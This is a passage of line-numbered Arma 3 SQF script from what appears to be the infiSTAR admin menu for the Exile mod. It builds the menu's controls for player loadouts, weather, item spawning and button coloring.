  7765. };
  7766. _ctrlL ctrlSetPosition _ctrlLTMP;
  7767. _ctrlL ctrlCommit 0.3;
  7768. _editSearch ctrlSetPosition _ctrleditSearchTMP;
  7769. _editSearch ctrlCommit 0.3;
  7770. _btnItems ctrlSetPosition _ctrlbtnItemsTMP;
  7771. _btnItems ctrlCommit 0.3;
  7772.  
  7773. if(FILLMAINSTATE == 1)then{
  7774. _btnItems ctrlSetText 'Items';
  7775. _btnItems buttonSetAction '
  7776. LASTSUBBUTTON = 0;FILLMAINSTATE=1;[] call fnc_fill_infiSTAR_MAIN;[] call fnc_setFocus;[] call fnc_colorButtons;
  7777. ';
  7778. };
  7779.  
  7780. _btnVehs = _display displayCtrl 37;
  7781. _btnVehs ctrlEnable _others;
  7782. _btnVehs ctrlShow _others;
  7783. _btnVehs buttonSetAction '
  7784. LASTSUBBUTTON = 1;FILLMAINSTATE=1;[] call fnc_fill_infiSTAR_MAIN;[] call fnc_setFocus;[] call fnc_colorButtons;
  7785. ';
  7786. if!(('Spawn Vehicles' call ADMINLEVELACCESS) || ('Spawn Persistent Vehicles' call ADMINLEVELACCESS))then
  7787. {
  7788. _btnVehs ctrlEnable false;
  7789. _btnVehs ctrlShow false;
  7790. };
  7791.  
  7792. _btnTrader = _display displayCtrl 38;
  7793. _btnTrader ctrlSetText 'Trader';
  7794. _btnTrader ctrlEnable _others;
  7795. _btnTrader ctrlShow _others;
  7796. _btnTrader buttonSetAction '
  7797. LASTSUBBUTTON = 2;FILLMAINSTATE=1;[] call fnc_fill_infiSTAR_MAIN;[] call fnc_setFocus;[] call fnc_colorButtons;
  7798. ';
  7799.  
  7800. call fnc_searchNfill;
  7801. };
  7802. fnc_cloneGear = {
  7803. _unit = _this;
  7804. if(isNil'_unit')exitWith{systemchat'_unit not defined';};
  7805. if(isNull _unit)exitWith{systemchat'_unit OBJECT-NULL';};
  7806. _export = '';
  7807. _fnc_addMultiple = {
  7808. _items = _this select 0;
  7809. _expression = _this select 1;
  7810. _itemsUsed = [];
  7811. {
  7812. _item = _x;
  7813. _itemLower = tolower _x;
  7814. if !(_itemLower in _itemsUsed)then{
  7815. _itemsUsed set [count _itemsUsed,_itemLower];
  7816. _itemCount = {_item == _x} count _items;
  7817. _expressionLocal = _expression;
  7818. if(_itemCount > 1)then{
  7819. _expressionLocal = format ['for ''_i'' from 1 to %1 do {%2};',_itemCount,_expression];
  7820. };
  7821. _export = _export + format [_expressionLocal,_var,_x];
  7822. };
  7823. } foreach _items;
  7824. };
  7825. _export = _export + '_unit = player;';
  7826. _var = '_unit';
  7827. _export = _export + format ['removeAllWeapons %1;',_var];
  7828. _export = _export + format ['removeAllItems %1;',_var];
  7829. _export = _export + format ['removeAllAssignedItems %1;',_var];
  7830. _export = _export + format ['removeUniform %1;',_var];
  7831. _export = _export + format ['removeVest %1;',_var];
  7832. _export = _export + format ['removeBackpack %1;',_var];
  7833. _export = _export + format ['removeHeadgear %1;',_var];
  7834. _export = _export + format ['removeGoggles %1;',_var];
  7835. if(uniform _unit != '')then{
  7836. _export = _export + format ['%1 forceAddUniform ''%2'';',_var,uniform _unit];
  7837. [uniformitems _unit,'%1 addItemToUniform ''%2'';'] call _fnc_addMultiple;
  7838. };
  7839. if(vest _unit != '')then{
  7840. _export = _export + format ['%1 addVest ''%2'';',_var,vest _unit];
  7841. [vestitems _unit,'%1 addItemToVest ''%2'';'] call _fnc_addMultiple;
  7842. };
  7843. if(!isnull unitbackpack _unit)then{
  7844. _export = _export + format ['%1 addBackpack ''%2'';',_var,typeof unitbackpack _unit];
  7845. [backpackitems _unit,'%1 addItemToBackpack ''%2'';'] call _fnc_addMultiple;
  7846. };
  7847. if(headgear _unit != '')then{_export = _export + format ['%1 addHeadgear ''%2'';',_var,headgear _unit];};
  7848. if(goggles _unit != '')then{_export = _export + format ['%1 addGoggles ''%2'';',_var,goggles _unit];};
  7849. {
  7850. _weapon = _x select 0;
  7851. _weaponAccessories = _x select 1;
  7852. _weaponCommand = _x select 2;
  7853. if(_weapon != '')then{
  7854. _export = _export + format ['%1 addWeapon ''%2'';',_var,_weapon];
  7855. {
  7856. if(_x != '')then{_export = _export + format ['%1 %3 ''%2'';',_var,_x,_weaponCommand];};
  7857. } foreach _weaponAccessories;
  7858. };
  7859. } foreach [
  7860. [primaryweapon _unit,_unit weaponaccessories primaryweapon _unit,'addPrimaryWeaponItem'],
  7861. [secondaryweapon _unit,_unit weaponaccessories secondaryweapon _unit,'addSecondaryWeaponItem'],
  7862. [handgunweapon _unit,_unit weaponaccessories handgunweapon _unit,'addHandgunItem'],
  7863. [binocular _unit,[],'']
  7864. ];
  7865. [assigneditems _unit - [binocular _unit],'%1 linkItem ''%2'';'] call _fnc_addMultiple;
  7866. _export
  7867. };
  7868. fnc_Loadoutmenu = {
  7869. disableSerialization;
  7870. if(isNil'missionNameSpaceLoadouts')then{missionNameSpaceLoadouts=[];};
  7871. _display = findDisplay MAIN_DISPLAY_ID;
  7872. _ctrl = [_display,'IGUIBack',44464] call fnc_createctrl;
  7873. _ctrl ctrlSetPosition [
  7874. 0.554062 * safezoneW + safezoneX,
  7875. 0.8,
  7876. 0.3,
  7877. 0.2 * safezoneH
  7878. ];
  7879. _ctrl ctrlSetBackgroundColor [0.15,0.15,0.15,1];
  7880. _ctrl ctrlCommit 0;
  7881.  
  7882. _ctrl = [_display,'RscListbox',44465] call fnc_createctrl;
  7883. _ctrl ctrlSetPosition [
  7884. 0.554062 * safezoneW + safezoneX,
  7885. 0.8
  7886. ];
  7887. _ctrl ctrlCommit 0;
  7888. fnc_load_LoadOuts = {
  7889. infiSTAR_LoadOutARRay = profileNamespace getVariable['infiSTAR_LoadOutARRay',[]];
  7890. lbClear (findDisplay MAIN_DISPLAY_ID displayCtrl 44465);
  7891. if!(infiSTAR_LoadOutARRay isEqualTo [])then
  7892. {
  7893. {(findDisplay MAIN_DISPLAY_ID displayCtrl 44465) lbAdd _x;} forEach infiSTAR_LoadOutARRay;
  7894. (findDisplay MAIN_DISPLAY_ID displayCtrl 44465) lbAdd '';
  7895. };
  7896. if!(missionNameSpaceLoadouts isEqualTo [])then
  7897. {
  7898. {(findDisplay MAIN_DISPLAY_ID displayCtrl 44465) lbAdd _x;} forEach missionNameSpaceLoadouts;
  7899. (findDisplay MAIN_DISPLAY_ID displayCtrl 44465) lbAdd '';
  7900. };
  7901. };
  7902. call fnc_load_LoadOuts;
  7903.  
  7904. _ctrl = [_display,'RscEdit',44469] call fnc_createctrl;
  7905. _ctrl ctrlSetPosition [
  7906. 0.554062 * safezoneW + safezoneX,
  7907. 0.81+(ctrlPosition((findDisplay MAIN_DISPLAY_ID) displayCtrl 44465) select 3),
  7908. (ctrlPosition((findDisplay MAIN_DISPLAY_ID) displayCtrl 44465) select 2),
  7909. 0.033 * safezoneH
  7910. ];
  7911. _ctrl ctrlCommit 0;
  7912.  
  7913. _ctrl = [_display,'RSCButton',44466] call fnc_createctrl;
  7914. _ctrl ctrlSetText 'LOAD';
  7915. _ctrl ctrlSetPosition [
  7916. 0.68 * safezoneW + safezoneX,
  7917. 0.8,
  7918. 0.3,
  7919. 0.033 * safezoneH
  7920. ];
  7921. fnc_ButtonClick_44466 = {
  7922. _txt = lbtext[44465,(lbCurSel 44465)];
  7923. if(_txt != '')then
  7924. {
  7925. if(_txt in missionNameSpaceLoadouts)exitWith
  7926. {
  7927. _m = missionNameSpace getVariable _txt;
  7928. if((!isNil '_m')&&{(typeName _m == 'CODE')})then
  7929. {
  7930. call _m;
  7931. };
  7932. };
  7933.  
  7934. if(isNil'FNC_CUSTOM_fn_loadInventory')then
  7935. {
  7936. FNC_CUSTOM_fn_loadInventory = (preprocessfile 'A3\functions_f\Inventory\fn_loadInventory.sqf') call fnc_admin_c;
  7937. };
  7938. _fnc_scriptName='';[player, [profileNamespace, _txt]] call FNC_CUSTOM_fn_loadInventory;
  7939. _log = format['Loaded Loadout [%1]',_txt];
  7940. _log call fnc_adminLog;
  7941. };
  7942. };
  7943. _ctrl ctrlCommit 0;
  7944. _ctrl ctrlSetEventHandler['ButtonClick','call fnc_ButtonClick_44466'];
  7945.  
  7946. _ctrl = [_display,'RSCButton',44467] call fnc_createctrl;
  7947. _ctrl ctrlSetText 'DELETE';
  7948. _ctrl ctrlSetPosition [
  7949. 0.68 * safezoneW + safezoneX,
  7950. 0.8+((ctrlPosition((findDisplay MAIN_DISPLAY_ID) displayCtrl 44465) select 3)/2),
  7951. 0.3,
  7952. 0.033 * safezoneH
  7953. ];
  7954. fnc_ButtonClick_44467 = {
  7955. _txt = lbtext[44465,(lbCurSel 44465)];
  7956. if(_txt != '')then
  7957. {
  7958. if(_txt in infiSTAR_LoadOutARRay)then
  7959. {
  7960. _id = infiSTAR_LoadOutARRay find _txt;
  7961. if(_id == -1)exitWith{systemchat 'can not find Loadout';};
  7962. _return = infiSTAR_LoadOutARRay deleteAt _id;
  7963. systemchat format['Deleted Loadout: %1',_return];
  7964. profileNamespace setVariable['infiSTAR_LoadOutARRay',infiSTAR_LoadOutARRay];saveprofileNamespace;
  7965. _fnc_scriptName='';[player, [profileNamespace, _txt]] call BIS_fnc_deleteInventory;
  7966. }
  7967. else
  7968. {
  7969. _id = missionNameSpaceLoadouts find _txt;
  7970. if(_id == -1)exitWith{systemchat 'can not find Loadout';};
  7971. _return = missionNameSpaceLoadouts deleteAt _id;
  7972. systemchat format['Deleted Loadout: %1',_return];
  7973. };
  7974. };
  7975. call fnc_load_LoadOuts;
  7976. };
  7977. _ctrl ctrlCommit 0;
  7978. _ctrl ctrlSetEventHandler['ButtonClick','call fnc_ButtonClick_44467'];
  7979.  
  7980. _ctrl = [_display,'RSCButton',44468] call fnc_createctrl;
  7981. _ctrl ctrlSetPosition [
  7982. 0.68 * safezoneW + safezoneX,
  7983. 0.8+(ctrlPosition((findDisplay MAIN_DISPLAY_ID) displayCtrl 44465) select 3),
  7984. 0.3,
  7985. 0.033 * safezoneH
  7986. ];
  7987. fnc_ButtonClick_44468 = {
  7988. _txt = ctrlText 44469;
  7989. if(_txt == '')exitWith{systemchat 'Type a Loadout name to save!';};
  7990. if(count _txt > 30)exitWith{systemchat 'Loadout name should have max 30 characters!';};
  7991. call fnc_get_selected_object;
  7992. if(isNull SELECTED_TARGET_PLAYER)exitWith{systemchat 'Player selected is NULL-OBJECT';};
  7993.  
  7994. _exit = false;
  7995. {if(toUpper _txt isEqualTo toUpper _x)exitWith{_exit=true};} forEach missionNameSpaceLoadouts;
  7996. if(_exit)exitWith{systemchat 'can not overwrite missionNameSpaceLoadouts Admin Loadouts';};
  7997.  
  7998. _index = infiSTAR_LoadOutARRay pushBackUnique _txt;
  7999. if(_index > -1)then
  8000. {
  8001. profileNamespace setVariable['infiSTAR_LoadOutARRay',infiSTAR_LoadOutARRay];saveprofileNamespace;
  8002. };
  8003. _fnc_scriptName='';[SELECTED_TARGET_PLAYER, [profileNamespace, _txt]] call BIS_fnc_saveInventory;
  8004. call fnc_load_LoadOuts;
  8005. };
  8006. _ctrl ctrlSetEventHandler['ButtonClick','call fnc_ButtonClick_44468'];
  8007. _ctrl ctrlSetText 'SAVE FROM SELECTED';
  8008. _ctrl ctrlCommit 0;
  8009.  
  8010. _ctrl = [_display,'RSCButton',44471] call fnc_createctrl;
  8011. _ctrl ctrlSetPosition [
  8012. 0.81 * safezoneW + safezoneX,
  8013. 0.8+((ctrlPosition((findDisplay MAIN_DISPLAY_ID) displayCtrl 44465) select 3)/2),
  8014. 0.3,
  8015. 0.033 * safezoneH
  8016. ];
  8017. fnc_ButtonClick_44471 = {
  8018. call fnc_get_selected_object;
  8019. _export = player call fnc_cloneGear;
  8020. [_export,SELECTED_TARGET_PLAYER] call admin_d0_target;
  8021.  
  8022. _log = format['Cloned Gear on %1(%2)!',name SELECTED_TARGET_PLAYER,getPlayerUID SELECTED_TARGET_PLAYER];
  8023. _log call FN_SHOW_LOG;
  8024. _log call fnc_adminLog;
  8025. };
  8026. _ctrl ctrlSetEventHandler['ButtonClick','call fnc_ButtonClick_44471'];
  8027. _ctrl ctrlSetText 'CLONE ON SELECTED';
  8028. _ctrl ctrlCommit 0;
  8029.  
  8030. _ctrl = [_display,'RSCButton',44472] call fnc_createctrl;
  8031. _ctrl ctrlSetPosition [
  8032. 0.81 * safezoneW + safezoneX,
  8033. 0.8,
  8034. 0.3,
  8035. 0.033 * safezoneH
  8036. ];
  8037. fnc_ButtonClick_44472 = {
  8038. call fnc_get_selected_object;
  8039. _export = SELECTED_TARGET_PLAYER call fnc_cloneGear;
  8040. _export call fnc_admin_cc;
  8041.  
  8042. _log = format['Cloned Gear of %1(%2) on yourself!',name SELECTED_TARGET_PLAYER,getPlayerUID SELECTED_TARGET_PLAYER];
  8043. _log call FN_SHOW_LOG;
  8044. _log call fnc_adminLog;
  8045. };
  8046. _ctrl ctrlSetEventHandler['ButtonClick','call fnc_ButtonClick_44472'];
  8047. _ctrl ctrlSetText 'CLONE FROM SELECTED';
  8048. _ctrl ctrlCommit 0;
  8049.  
  8050. _ctrl = [_display,'RSCText',44463] call fnc_createctrl;
  8051. _ctrl ctrlSetPosition [
  8052. 0.677 * safezoneW + safezoneX,
  8053. 0.75,
  8054. 0.2 * safezoneW,
  8055. 0.03 * safezoneH
  8056. ];
  8057. _ctrl ctrlSetText format['SELECTED TARGET: %1',call fnc_get_selected_object];
  8058. _ctrl ctrlCommit 0;
  8059. };
  8060. fnc_WeatherLord = {
  8061. disableSerialization;
  8062. _display = findDisplay MAIN_DISPLAY_ID;
  8063.  
  8064. _text1 = [_display,'RSCText',33300] call fnc_createctrl;
  8065. _text1 ctrlSetPosition [
  8066. 0.55 * safezoneW + safezoneX,
  8067. 0.3,
  8068. 0.2 * safezoneW,
  8069. 0.03 * safezoneH
  8070. ];
  8071. _text1 ctrlSetText 'Fog:';
  8072. _text1 ctrlCommit 0;
  8073.  
  8074. _slider1 = [_display,'RscXSliderH',33301] call fnc_createctrl;
  8075. _slider1 ctrlSetPosition [
  8076. 0.554 * safezoneW + safezoneX,
  8077. 0.35
  8078. ];
  8079. _slider1 ctrlSetBackgroundColor [0.15,0.15,0.15,1];
  8080. slider_fog_changed = {
  8081. SET_FOG_VALUE = (_this select 1)/10;
  8082. 0 setFog SET_FOG_VALUE;
  8083. };
  8084. _slider1 ctrlRemoveAllEventHandlers 'SliderPosChanged';
  8085. _slider1 ctrlAddEventHandler ['SliderPosChanged','call slider_fog_changed'];
  8086. _slider1 ctrlCommit 0;
  8087.  
  8088. _text2 = [_display,'RSCText',33302] call fnc_createctrl;
  8089. _text2 ctrlSetPosition [
  8090. 0.55 * safezoneW + safezoneX,
  8091. 0.4,
  8092. 0.2 * safezoneW,
  8093. 0.03 * safezoneH
  8094. ];
  8095. _text2 ctrlSetText 'Overcast:';
  8096. _text2 ctrlCommit 0;
  8097.  
  8098. _slider2 = [_display,'RscXSliderH',33303] call fnc_createctrl;
  8099. _slider2 ctrlSetPosition [
  8100. 0.554 * safezoneW + safezoneX,
  8101. 0.45
  8102. ];
  8103. _slider2 ctrlSetBackgroundColor [0.15,0.15,0.15,1];
  8104. slider_overcast_changed = {
  8105. SET_OVERCAST_VALUE = (_this select 1)/10;
  8106. 0 setOvercast SET_OVERCAST_VALUE;
  8107. };
  8108. _slider2 ctrlRemoveAllEventHandlers 'SliderPosChanged';
  8109. _slider2 ctrlAddEventHandler ['SliderPosChanged','call slider_overcast_changed'];
  8110. _slider2 ctrlCommit 0;
  8111.  
  8112. _text3 = [_display,'RSCText',33304] call fnc_createctrl;
  8113. _text3 ctrlSetPosition [
  8114. 0.55 * safezoneW + safezoneX,
  8115. 0.5,
  8116. 0.2 * safezoneW,
  8117. 0.03 * safezoneH
  8118. ];
  8119. _text3 ctrlSetText 'Rain:';
  8120. _text3 ctrlCommit 0;
  8121.  
  8122. _slider3 = [_display,'RscXSliderH',33305] call fnc_createctrl;
  8123. _slider3 ctrlSetPosition [
  8124. 0.554 * safezoneW + safezoneX,
  8125. 0.55
  8126. ];
  8127. _slider3 ctrlSetBackgroundColor [0.15,0.15,0.15,1];
  8128. slider_rain_changed = {
  8129. SET_RAIN_VALUE = (_this select 1)/10;
  8130. if(SET_RAIN_VALUE > 0.3)then{if(overcast < 0.75)then{SET_OVERCAST_VALUE = 0.75;};};
  8131. 0 setRain SET_RAIN_VALUE;
  8132. };
  8133. _slider3 ctrlRemoveAllEventHandlers 'SliderPosChanged';
  8134. _slider3 ctrlAddEventHandler ['SliderPosChanged','call slider_rain_changed'];
  8135. _slider3 ctrlCommit 0;
  8136.  
  8137. _btn1 = [_display,'RSCButton',33400] call fnc_createctrl;
  8138. _btn1 ctrlSetText 'CHANGE GLOBAL';
  8139. _btn1 ctrlSetPosition [
  8140. 0.554 * safezoneW + safezoneX,
  8141. 0.6,
  8142. 0.3,
  8143. 0.033 * safezoneH
  8144. ];
  8145. _btn1 ctrlCommit 0;
  8146. _btn1 ctrlSetEventHandler['ButtonClick','[16,SET_FOG_VALUE,SET_OVERCAST_VALUE,SET_RAIN_VALUE] call fnc_AdminReq;'];
  8147.  
  8148. SET_FOG_VALUE = fog;
  8149. SET_OVERCAST_VALUE = overcast;
  8150. SET_RAIN_VALUE = rain;
  8151. if(!isNil'fnc_WeatherLordTHREAD')then{terminate fnc_WeatherLordTHREAD;};
  8152. fnc_WeatherLordTHREAD = [] spawn {
  8153. disableSerialization;
  8154. _slider1 = (findDisplay MAIN_DISPLAY_ID displayCtrl 33301);
  8155. _slider2 = (findDisplay MAIN_DISPLAY_ID displayCtrl 33303);
  8156. _slider3 = (findDisplay MAIN_DISPLAY_ID displayCtrl 33305);
  8157. if(isNil'SET_FOG_VALUE')then{SET_FOG_VALUE=fog};
  8158. if(isNil'SET_OVERCAST_VALUE')then{SET_OVERCAST_VALUE=overcast};
  8159. if(isNil'SET_RAIN_VALUE')then{SET_RAIN_VALUE=rain};
  8160. while {!isNull findDisplay MAIN_DISPLAY_ID} do
  8161. {
  8162. _fog = SET_FOG_VALUE;
  8163. if(_fog > 0)then{_fog=_fog*10;};
  8164. _slider1 sliderSetPosition _fog;
  8165. 0 setFog SET_FOG_VALUE;
  8166.  
  8167. _overcast = SET_OVERCAST_VALUE;
  8168. if(_overcast > 0)then{_overcast=_overcast*10;};
  8169. _slider2 sliderSetPosition _overcast;
  8170. 0 setOvercast SET_OVERCAST_VALUE;
  8171.  
  8172. _rain = SET_RAIN_VALUE;
  8173. if(_rain > 0)then{_rain=_rain*10;};
  8174. _slider3 sliderSetPosition _rain;
  8175. 0 setRain SET_RAIN_VALUE;
  8176.  
  8177. uiSleep 0.1;
  8178. };
  8179. };
  8180. };
  8181. fnc_reallyAdditem = {
  8182. params[['_target',player],['_class','']];
  8183. if(_class == '')exitWith{systemChat 'No Item selected!';};
  8184.  
  8185. if(local _target)then
  8186. {
  8187. _added = [_target, _class] call ExileClient_util_playerEquipment_add;
  8188. if(!_added)then
  8189. {
  8190. _itemInformation = [_class] call BIS_fnc_itemType;
  8191. _itemCategory = _itemInformation select 0;
  8192. _itemType = _itemInformation select 1;
  8193. if(_itemCategory isEqualTo 'Magazine')then
  8194. {
  8195. _target addMagazine _class;
  8196. }
  8197. else
  8198. {
  8199. if(_itemCategory isEqualTo 'Weapon')then
  8200. {
  8201. _target addWeapon _class;
  8202. }
  8203. else
  8204. {
  8205. _target addItem _class;
  8206. };
  8207. };
  8208. };
  8209. }
  8210. else
  8211. {
  8212. _toserver = '
  8213. _target = (objectFromNetId '+str (netId _target)+');
  8214. _class = '+str _class+';
  8215.  
  8216. _driver = driver _target;
  8217. if(isPlayer _driver)then
  8218. {
  8219. _target setOwner (owner _driver);
  8220. }
  8221. else
  8222. {
  8223. _crew = crew _target;
  8224. if!(_crew isEqualTo [])then
  8225. {
  8226. {
  8227. if(isPlayer _x)exitWith
  8228. {
  8229. _target setOwner (owner _x);
  8230. };
  8231. } forEach _crew;
  8232. };
  8233. };
  8234.  
  8235. _owner = owner _target;
  8236. _code = {
  8237. params[''_target'',''_class''];
  8238. _added = [_target, _class] call ExileClient_util_playerEquipment_add;
  8239. if(!_added)then
  8240. {
  8241. _itemInformation = [_class] call BIS_fnc_itemType;
  8242. _itemCategory = _itemInformation select 0;
  8243. _itemType = _itemInformation select 1;
  8244. if(_itemCategory isEqualTo ''Magazine'')then
  8245. {
  8246. _target addMagazine _class;
  8247. }
  8248. else
  8249. {
  8250. if(_itemCategory isEqualTo ''Weapon'')then
  8251. {
  8252. _target addWeapon _class;
  8253. }
  8254. else
  8255. {
  8256. _target addItem _class;
  8257. };
  8258. };
  8259. };
  8260. };
  8261. [[_target,_class],_code,_owner,false] call FN_infiSTAR_S;
  8262. ';
  8263. [_toserver] call admin_d0_server;
  8264. };
  8265. };
  8266. fnc_HTML_LOAD = {
  8267. _html = uiNamespace getVariable 'RscHTML_infiSTAR_Admin';
  8268. if(ctrlHTMLLoaded _html)exitWith{_html ctrlEnable true;_html ctrlShow true;};
  8269.  
  8270. [
  8271. '',
  8272. {
  8273. if(!isNil'START_LOADING_HTML')then{terminate START_LOADING_HTML;START_LOADING_HTML=nil;};
  8274. START_LOADING_HTML = [] spawn {
  8275. disableSerialization;
  8276. _html = uiNamespace getVariable 'RscHTML_infiSTAR_Admin';
  8277. _html htmlLoad HTML_LOAD_URL_EXILE;
  8278. _start = diag_tickTime + .2;
  8279. waitUntil {diag_tickTime > _start};
  8280. if(!ctrlHTMLLoaded _html)exitWith{_html ctrlEnable false;_html ctrlShow false;};
  8281. };
  8282. }
  8283. ] execFSM 'call.fsm';
  8284. };
  8285. fnc_FULLinit = {
  8286. disableSerialization;
  8287. if(isNull findDisplay MAIN_DISPLAY_ID)then
  8288. {
  8289. createdialog 'infiSTAR_AdminMenu';
  8290. call fnc_initOnceOnOpen;
  8291. };
  8292. call fnc_initOnKeyPress;
  8293. };
  8294. fnc_btn_html = {
  8295. infiSTAR_HTML_LOAD = !infiSTAR_HTML_LOAD;
  8296. if(infiSTAR_HTML_LOAD)then{call fnc_HTML_LOAD;};
  8297. [] call fnc_colorButtons;
  8298. };
  8299. fnc_initOnceOnOpen = {
  8300. _display = findDisplay MAIN_DISPLAY_ID;
  8301.  
  8302. _btn = [_display,'RSCButton',1338001] call fnc_createctrl;
  8303. _btn ctrlSetText 'SAVE TOGGLE STATE';
  8304. _btn ctrlSetPosition [
  8305. 0.39 * safezoneW + safezoneX + (0.15 * safezoneW),
  8306. 0.0379694 * safezoneH + safezoneY,
  8307. 0.12 * safezoneW,
  8308. 0.02 * safezoneH
  8309. ];
  8310. _btn buttonSetAction '
  8311. profileNamespace setVariable [''infiSTAR_saveToggle'',infiSTAR_toggled_A];
  8312. saveprofileNamespace;
  8313. _log = ''Saved currently toggled/enabled admin functions. Next time you login as admin, they will automatically turn on.'';
  8314. _log call FN_SHOW_LOG;
  8315. systemChat (''<infiSTAR.de> ''+_log);
  8316. ';
  8317. _btn ctrlCommit 0;
  8318.  
  8319. if(infiSTAR_HTML_LOAD)then{call fnc_HTML_LOAD;};
  8320. };
  8321. fnc_initOnKeyPress = {
  8322. if!(FILLMAINSTATE in [1,2])then{FILLMAINSTATE = 0;};
  8323. _display = findDisplay MAIN_DISPLAY_ID;
  8324.  
  8325. _ctrlL = _display displayCtrl LEFT_SHIFT_ID;
  8326. _ctrlL ctrlRemoveAllEventHandlers 'LBDblClick';
  8327. _ctrlL ctrlRemoveAllEventHandlers 'LBSelChanged';
  8328. _ctrlL ctrlAddEventHandler ['LBDblClick', 'call fnc_LBDblClick_LEFT;[] call fnc_setFocus;'];
  8329. _ctrlL ctrlAddEventHandler ['LBSelChanged', 'call fnc_LBSelChanged_LEFT;[] call fnc_setFocus;'];
  8330. [] call fnc_fill_infiSTAR_Player;
  8331.  
  8332. _ctrlR = _display displayCtrl RIGHT_SHIFT_ID;
  8333. _ctrlR ctrlRemoveAllEventHandlers 'LBDblClick';
  8334. _ctrlR ctrlRemoveAllEventHandlers 'LBSelChanged';
  8335. _ctrlR ctrlAddEventHandler ['LBDblClick', 'call fnc_LBDblClick_RIGHT;[] call fnc_setFocus;'];
  8336. _ctrlR ctrlAddEventHandler ['LBSelChanged', 'call fnc_LBSelChanged_RIGHT;[] call fnc_setFocus;'];
  8337. [] call fnc_fill_infiSTAR_MAIN;
  8338.  
  8339. _ctrl = _display displayCtrl 2;
  8340. _ctrl ctrlSetText format['Players loaded in: %1 of %2 SERVER UPTIME: %3 SERVER FPS: %4 SERVER THREADS: %5 infiSTAR.de Admin Menu %6',count playableUnits,((playersNumber west)+(playersNumber east)+(playersNumber civilian)+(playersNumber resistance)),call GET_TIME_TIME,SERVER_FPS,SERVER_THREADS,INFISTARVERSION];
  8341.  
  8342. _btnMainMenu = _display displayCtrl 20;
  8343. _btnMainMenu buttonSetAction 'FILLMAINSTATE=0;[] call fnc_fill_infiSTAR_MAIN;[] call fnc_setFocus;[] call fnc_colorButtons;';
  8344.  
  8345. _btnSpawnMenu = _display displayCtrl 21;
  8346. _btnSpawnMenu buttonSetAction 'FILLMAINSTATE=1;[] call fnc_fill_infiSTAR_MAIN;[] call fnc_setFocus;[] call fnc_colorButtons;';
  8347.  
  8348. if('==== Loadouts ====' call ADMINLEVELACCESS)then{call fnc_Loadoutmenu;};
  8349. if('==== WeatherLord ====' call ADMINLEVELACCESS)then{call fnc_WeatherLord;};
  8350.  
  8351. call fnc_SearchFieldButtons;
  8352. [] call fnc_setFocus;
  8353. [] call fnc_colorButtons;
  8354. };
  8355. fnc_colorizeMain = {
  8356. disableSerialization;
  8357. _ctrl = (findDisplay MAIN_DISPLAY_ID) displayCtrl RIGHT_SHIFT_ID;
  8358. _lsize = lbSize RIGHT_SHIFT_ID;
  8359. for '_i' from 0 to _lsize do
  8360. {
  8361. _lbtxt = lbtext [RIGHT_SHIFT_ID,_i];
  8362. if(_lbtxt in (infiSTAR_Toggleable+infiSTAR_CUSTOM_Toggleable))then
  8363. {
  8364. if(_lbtxt in infiSTAR_toggled_A)then
  8365. {
  8366. _ctrl lbSetColor [_i,[0,1,0,1]];
  8367. }
  8368. else
  8369. {
  8370. _ctrl lbSetColor [_i,[1,0,0,1]];
  8371. };
  8372. };
  8373. if(_lbtxt in infiSTAR_SubMenus)then
  8374. {
  8375. _ctrl lbSetColor [_i,[0.67,0.97,0.97,1]];
  8376. };
  8377. if(_lbtxt in infiSTAR_OnTargetNICE)then
  8378. {
  8379. _ctrl lbSetColor [_i,[0,0.8,1,1]];
  8380. };
  8381. if(_lbtxt in infiSTAR_OnTargetEVIL)then
  8382. {
  8383. _ctrl lbSetColor [_i,[0.99,0.8,0.8,1]];
  8384. };
  8385. if(_lbtxt in infiSTAR_CUSTOM_OnTarget)then
  8386. {
  8387. _ctrl lbSetColor [_i,[0.78,0.66,0,1]];
  8388. };
  8389. };
  8390. };
  8391. fnc_colorButtons = {
  8392. call fnc_SearchFieldButtons;
  8393. disableSerialization;
  8394. _display = findDisplay MAIN_DISPLAY_ID;
  8395. _btnMainMenu = _display displayCtrl 20;
  8396. if(FILLMAINSTATE isEqualTo 0)then{_btnMainMenu ctrlSetTextColor [0,1,0,1];} else {_btnMainMenu ctrlSetTextColor [1,1,1,1];};
  8397. _btnSpawnMenu = _display displayCtrl 21;
  8398. if(FILLMAINSTATE isEqualTo 1)then{_btnSpawnMenu ctrlSetTextColor [0,1,0,1];} else {_btnSpawnMenu ctrlSetTextColor [1,1,1,1];};
  8399.  
  8400. _btnAntiHackLog = _display displayCtrl 23;
  8401. _btnAntiHackLog ctrlSetText (format['AHLogs: %1',count AH_HackLogArray + count AH_SurvLogArray + count PVAH_AHTMPBAN]);
  8402. _btnAntiHackLog buttonSetAction 'FILLMAINSTATE=3;[] call fnc_fill_HackLog;[] call fnc_setFocus;[] call fnc_colorButtons;';
  8403. if(FILLMAINSTATE isEqualTo 3)then{_btnAntiHackLog ctrlSetTextColor [0,1,0,1];} else {_btnAntiHackLog ctrlSetTextColor [1,1,1,1];};
  8404.  
  8405. _btnAdminLog = _display displayCtrl 24;
  8406. _btnAdminLog ctrlSetText (format['AdminLogs: %1',count AH_AdmiLogArray]);
  8407. _btnAdminLog buttonSetAction 'FILLMAINSTATE=4;[] call fnc_fill_AdminLog;[] call fnc_setFocus;[] call fnc_colorButtons;';
  8408. if(FILLMAINSTATE isEqualTo 4)then{_btnAdminLog ctrlSetTextColor [0,1,0,1];} else {_btnAdminLog ctrlSetTextColor [1,1,1,1];};
  8409.  
  8410. _btnItems = _display displayCtrl 36;
  8411. if((LASTSUBBUTTON isEqualTo 0)&&(FILLMAINSTATE isEqualTo 1))then
  8412. {
  8413. _btnItems ctrlSetTextColor [0,1,0,1];
  8414.  
  8415. _ctrlpos =
  8416. [
  8417. 0.2 * safezoneW + safezoneX,
  8418. 0.173 * safezoneH + safezoneY,
  8419. 0.15 * safezoneW,
  8420. 0.025 * safezoneH
  8421. ];
  8422.  
  8423. _RSCButton33401 = [_display,'RSCButton',33401] call fnc_createctrl;
  8424. _RSCButton33401 ctrlSetText 'INFRONT OF TARGET';
  8425. _RSCButton33401 ctrlSetPosition _ctrlpos;
  8426. _RSCButton33401 buttonSetAction 'BTN_GET_ITEM_SEL = 0;[] call fnc_colorButtons;';
  8427. _RSCButton33401 ctrlCommit 0;
  8428. _RSCButton33402 = [_display,'RSCButton',33402] call fnc_createctrl;
  8429. _RSCButton33402 ctrlSetText 'ON TARGET';
  8430. _RSCButton33402 ctrlSetPosition [((_ctrlpos select 0)+(_ctrlpos select 2))*1.2,_ctrlpos select 1,_ctrlpos select 2,_ctrlpos select 3];
  8431. _RSCButton33402 buttonSetAction 'BTN_GET_ITEM_SEL = 1;[] call fnc_colorButtons;';
